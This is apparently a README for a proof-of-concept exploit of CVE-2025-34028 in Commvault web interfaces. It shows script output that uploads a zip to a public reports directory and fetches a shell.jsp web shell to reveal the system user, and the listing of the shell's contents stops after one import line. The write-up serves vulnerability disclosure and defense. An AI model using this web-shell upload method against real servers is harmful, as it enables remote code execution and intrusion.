CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
This script is a proof of concept for CVE-2025-34028, for Commvault Web Interfaces. By uploading a zip file containing a code execution .jsp file, the zip file is uploaded to a public facing directory and the system user is detailed within the response. More details are described within our [blog post] (https://labs.watchtowr.com/).
The PoC script uses a hardcoded zip file containing the following files:
Shell.jsp contents:
<%@ page import="java.util.*" %>
